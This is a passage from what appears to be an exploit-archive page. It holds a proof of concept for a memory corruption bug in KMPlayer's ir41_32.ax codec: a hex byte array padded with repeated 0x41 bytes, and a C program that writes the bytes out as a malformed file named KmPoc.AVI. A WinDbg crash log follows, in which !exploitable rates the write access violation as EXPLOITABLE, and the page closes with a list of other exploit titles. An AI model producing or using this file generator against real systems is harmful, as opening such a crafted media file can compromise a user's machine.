0xF9,0x00,0xBE,0xE3,0x63,0x24,0x37,0x5C,0x07,0x03,0xE7,0xC3,0x01,0xFB,0xE9,0x3D,0x57,0xCD,0xA7,0x30,0x78,0xDA,0xDC,0x9D,0x12,0xA7,0xCC,0x56,0xF0,0xF0,0x11,0x1F,0xE2,0x14,0x0D,0x66,0x49,0x9E,0x36,0x73,0x73,0xCE,0x5C,0x3C,0x3D,0x25,0x3B,0xB8,0x2E,0x46,0x3E,0x6E,0xB1,0x73,0xD6,0x9C,0x37,0x4F,0x79,0x11,0x15,0x6C,0x13,0x0F,0xB9,0xB3,0x92,0x0F,0x3D,0x72,0xE9,0xCC,0xD3,0x52,0x6E,0x79,0x5F,0xD8,0x1A,0x2C,0x11,0x13,0x59,0xF8,0x88,0xAD,0x8B,0xAD,0xB9,0x0C,0x43,0xDE,0xE7,0x10,0x1F,0x94,0x41,0x16,0xE5,0x23,0x13,0x4E,0x64,0xB1,0xF3,0x22,0xD4,0x27,0x0F,0x84,0xAB,0xE1,0x2B,0x71,0x36,0x10,0x1F,0x8F,0x6F,0x51,0x93,0x7C,0xEA,0xD5,0xE3,0x78,0xC7,0x65,0x55,0xF0,0x29,0x57,0x4B,0x56,0xAB,0x0E,0xF8,0x0C,0xC9,0x27,0xD4,0xA1,0xF8,0xF8,0x92,0x38,0xD8,0x72,0x46,0xF3,0x71,0xCD,0xE2,0xEA,0x48,0xEE,0x8A,0x2C,0xD6,0x62,0xE0,0x86,0x9D,0x8D,0x85,0xDB,0x62,0x2B,0xCE,0x08,0xF6,0x62,0xE6,0x8E,0xE0,0x2B,0x87,0xC5,0xA6,0xDC,0x71,0xCE,0x4D,0x31,0x72,0xC8,0x8B,0x67,0x4F,0x1E,0x09,0x2F,0x59,0x63,0x62,0x95,0x65,0xE2,0xFC,0x88,0xB3,0xE2,0xCC,0xE4,0x86,0x95,0x91,0xF7,0xC5,0x56,0xBC,0x3A,0x62,0x53,0xDE,0x90,0x0C,0xDC,0xBE,0xE6,0x8E,0x9D,0x2F,0xBB,0xDD,0x2C,0xFB,0xF1,0x3A,0x84,0x1F,0x2A,0xB3,0x79,0xB1,0x5E,0x9C,0x2F,0x9F,0xCD,0x77,0xA9,0x4F,0xB6,0x84,0xEF,0x86,0x47,0xF2,0xA2,0x32,0xB8,0x33,0x8B,0x1B,0x02,0x8B,0x85,0x20,0x10,0x59,0xD8,0x19,0x08,0x44,0x06,0x02,0x91,0x20,0x90,0x40,0xBE,0x79,0x1C,0x30,0x38,0x12,0x23,0xDB,0x47,0x24,0x1D,0xB1,0x58,0x8A,0x4D,0x9E,0x4B,0x14,0xC5,0x99,0x32,0xB2,0x29,0x1B,0x0B,0x16,0x03,0x03,0x12,0x24,0x0B,0x33,0x2B,0x12,0x2C,0x6C,0xCC,0x2C,0x2C,0x04,0x12,0x0C,0x24,0x81,0x04,0x12,0x48,0x10,0x24,0x03,0xF2,0x1D,0x8E,0x78,0xCA,0xC3,0x68,0x6E,0x26,0x16,0x4A,0x5E,0x75,0xF0,0x34,0x3B,0xF8,0x34,0x72,0xC5,0x2E,0x1B,0x1B,0x03,0x03,0x22,0x0B,0xE7,0x5C,0x71,0xCE,0xCA,0xC0,0xCC,0xC2,0x19,0x41,0x32,0x30,0x90,0x6C,0x04,0x03,0xC9,0x80,0x48,0x20,0x03,0x12,0x24,0x03,0x0D,0x0A,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
} ;
int _tmain(int argc, _TCHAR* argv[])
{
    HANDLE fileHandle = INVALID_HANDLE_VALUE;
    DWORD dwBytesWritten = 0;
    fileHandle =
CreateFile(L"d:\\KmPoc.AVI",GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
    if(fileHandle == INVALID_HANDLE_VALUE)
    {
        printf("(-)Failed to Create File");
        exit(0);
    }else{
         printf("(+) Writing File ...");
         WriteFile(fileHandle,sc,sizeof(sc),&dwBytesWritten,NULL);
    }
    CloseHandle(fileHandle);
    return 0;
    return 0;
}


---------------------------------------------------------------------------------------
windbg result:


Microsoft (R) Windows Debugger Version 6.2.9200.16384 X86
Copyright (c) Microsoft Corporation. All rights reserved.

*** wait with pending attach
Symbol search path is: c:\netw0rm\symbols
Executable search path is:
ModLoad: 00400000 00a60000   D:\THEKMP~1\KMPlayer.exe
ModLoad: 7c900000 7c9b2000   C:\WINDOWS\system32\ntdll.dll
ModLoad: 7c800000 7c8f6000   C:\WINDOWS\system32\kernel32.dll
ModLoad: 77120000 771ab000   C:\WINDOWS\system32\oleaut32.dll
ModLoad: 77dd0000 77e6b000   C:\WINDOWS\system32\ADVAPI32.dll
ModLoad: 77e70000 77f02000   C:\WINDOWS\system32\RPCRT4.dll
ModLoad: 77fe0000 77ff1000   C:\WINDOWS\system32\Secur32.dll
ModLoad: 77f10000 77f59000   C:\WINDOWS\system32\GDI32.dll
ModLoad: 7e410000 7e4a1000   C:\WINDOWS\system32\USER32.dll
ModLoad: 77c10000 77c68000   C:\WINDOWS\system32\msvcrt.dll
ModLoad: 774e0000 7761e000   C:\WINDOWS\system32\ole32.dll
ModLoad: 77c00000 77c08000   C:\WINDOWS\system32\version.dll
ModLoad: 71b20000 71b32000   C:\WINDOWS\system32\mpr.dll
ModLoad: 5edd0000 5ede7000   C:\WINDOWS\system32\olepro32.dll
ModLoad: 7c9c0000 7d1d7000   C:\WINDOWS\system32\shell32.dll
ModLoad: 77f60000 77fd6000   C:\WINDOWS\system32\SHLWAPI.dll
ModLoad: 63000000 630e6000   C:\WINDOWS\system32\wininet.dll
ModLoad: 00390000 00399000   C:\WINDOWS\system32\Normaliz.dll
ModLoad: 1a400000 1a532000   C:\WINDOWS\system32\urlmon.dll
ModLoad: 5dca0000 5de88000   C:\WINDOWS\system32\iertutil.dll
ModLoad: 773d0000 774d3000
C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.5705_x-ww_36cfed49\comctl32.dll
ModLoad: 73000000 73026000   C:\WINDOWS\system32\winspool.drv
ModLoad: 763b0000 763f9000   C:\WINDOWS\system32\comdlg32.dll
ModLoad: 76b40000 76b6d000   C:\WINDOWS\system32\winmm.dll
ModLoad: 71ad0000 71ad9000   C:\WINDOWS\system32\wsock32.dll
ModLoad: 71ab0000 71ac7000   C:\WINDOWS\system32\WS2_32.dll
ModLoad: 71aa0000 71aa8000   C:\WINDOWS\system32\WS2HELP.dll
ModLoad: 76780000 76789000   C:\WINDOWS\system32\SHFolder.dll
ModLoad: 76390000 763ad000   C:\WINDOWS\system32\IMM32.DLL
ModLoad: 629c0000 629c9000   C:\WINDOWS\system32\LPK.DLL
ModLoad: 74d90000 74dfb000   C:\WINDOWS\system32\USP10.dll
ModLoad: 5ad70000 5ada8000   C:\WINDOWS\system32\uxtheme.dll
ModLoad: 74720000 7476c000   C:\WINDOWS\system32\MSCTF.dll
ModLoad: 755c0000 755ee000   C:\WINDOWS\system32\msctfime.ime
ModLoad: 73760000 737ab000   C:\WINDOWS\system32\ddraw.dll
ModLoad: 73bc0000 73bc6000   C:\WINDOWS\system32\DCIMAN32.dll
ModLoad: 73f10000 73f6c000   C:\WINDOWS\system32\dsound.dll
ModLoad: 76380000 76385000   C:\WINDOWS\system32\msimg32.dll
ModLoad: 58d40000 58d47000   C:\WINDOWS\system32\Wship6.dll
ModLoad: 76fd0000 7704f000   C:\WINDOWS\system32\CLBCATQ.DLL
ModLoad: 77050000 77115000   C:\WINDOWS\system32\COMRes.dll
ModLoad: 014c0000 01785000   C:\WINDOWS\system32\xpsp2res.dll
ModLoad: 75f40000 75f51000   C:\WINDOWS\system32\devenum.dll
ModLoad: 77920000 77a13000   C:\WINDOWS\system32\setupapi.dll
ModLoad: 76c30000 76c5e000   C:\WINDOWS\system32\WINTRUST.dll
ModLoad: 77a80000 77b15000   C:\WINDOWS\system32\CRYPT32.dll
ModLoad: 77b20000 77b32000   C:\WINDOWS\system32\MSASN1.dll
ModLoad: 76c90000 76cb8000   C:\WINDOWS\system32\IMAGEHLP.dll
ModLoad: 736b0000 736b7000   C:\WINDOWS\system32\msdmo.dll
ModLoad: 72d20000 72d29000   C:\WINDOWS\system32\wdmaud.drv
ModLoad: 72d10000 72d18000   C:\WINDOWS\system32\msacm32.drv
ModLoad: 77be0000 77bf5000   C:\WINDOWS\system32\MSACM32.dll
ModLoad: 77bd0000 77bd7000   C:\WINDOWS\system32\midimap.dll
ModLoad: 10000000 10008000   C:\Program Files\Internet Download
Manager\idmmkb.dll
ModLoad: 74810000 7497d000   C:\WINDOWS\system32\quartz.dll
ModLoad: 73ee0000 73ee4000   C:\WINDOWS\system32\KsUser.dll
ModLoad: 10af0000 10b27000   C:\WINDOWS\system32\qasf.dll
ModLoad: 15610000 1578e000   C:\WINDOWS\system32\WMVDECOD.dll
ModLoad: 0bef0000 0bf27000   C:\WINDOWS\system32\MFPlat.DLL
ModLoad: 471b0000 47211000   C:\WINDOWS\system32\qdvd.dll
ModLoad: 73940000 73a10000   C:\WINDOWS\system32\D3DIM700.DLL
ModLoad: 580b0000 58188000   C:\WINDOWS\system32\ir41_32.ax
(910.380): Access violation - code c0000005 (!!! second chance !!!)
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for
C:\WINDOWS\system32\ntdll.dll -
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for
C:\WINDOWS\system32\ir41_32.ax -
eax=04000400 ebx=0b76e8e0 ecx=001cf480 edx=00000000 esi=00000000
edi=ff9fff9f
eip=580ef04c esp=0ba3fb2c ebp=0000000d iopl=0         nv up ei pl zr na pe
nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
efl=00000246
ir41_32!ConfigureDialogProc+0x366c:
580ef04c 8907            mov     dword ptr [edi],eax
ds:0023:ff9fff9f=????????
0:014> .load winext/MSEC.dll
0:014> !exploitable

!exploitable 1.6.0.0
Exploitability Classification: EXPLOITABLE
Recommended Bug Title: Exploitable - User Mode Write AV starting at
ir41_32!ConfigureDialogProc+0x000000000000366c (Hash=0x17103451.0x2940d134)

User mode write access violations that are not near NULL are exploitable.

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容：(不能超过250字，需审核后才会公布，请自觉遵守互联网相关政策法规。
 §最新评论：
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·K-Lite CODEC 9.x Memory Corrup
·Windows NTUserMessageCall Win3
·HP Laser Jet - JavaScript Pers
·Adobe Flash Player Integer Und
·F5 BIG-IQ 4.1.0.2013.0 - Privi
·Linux kernel multiple security
·Apache Struts ClassLoader Mani
·Night Lion Security PHP Stress
·AlienVault OSSIM SQL Injection
·GOM Player 2.2.57.5189 Memory
·Adobe Flash Player Type Confus
·VM Turbo Operations Manager 4.
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved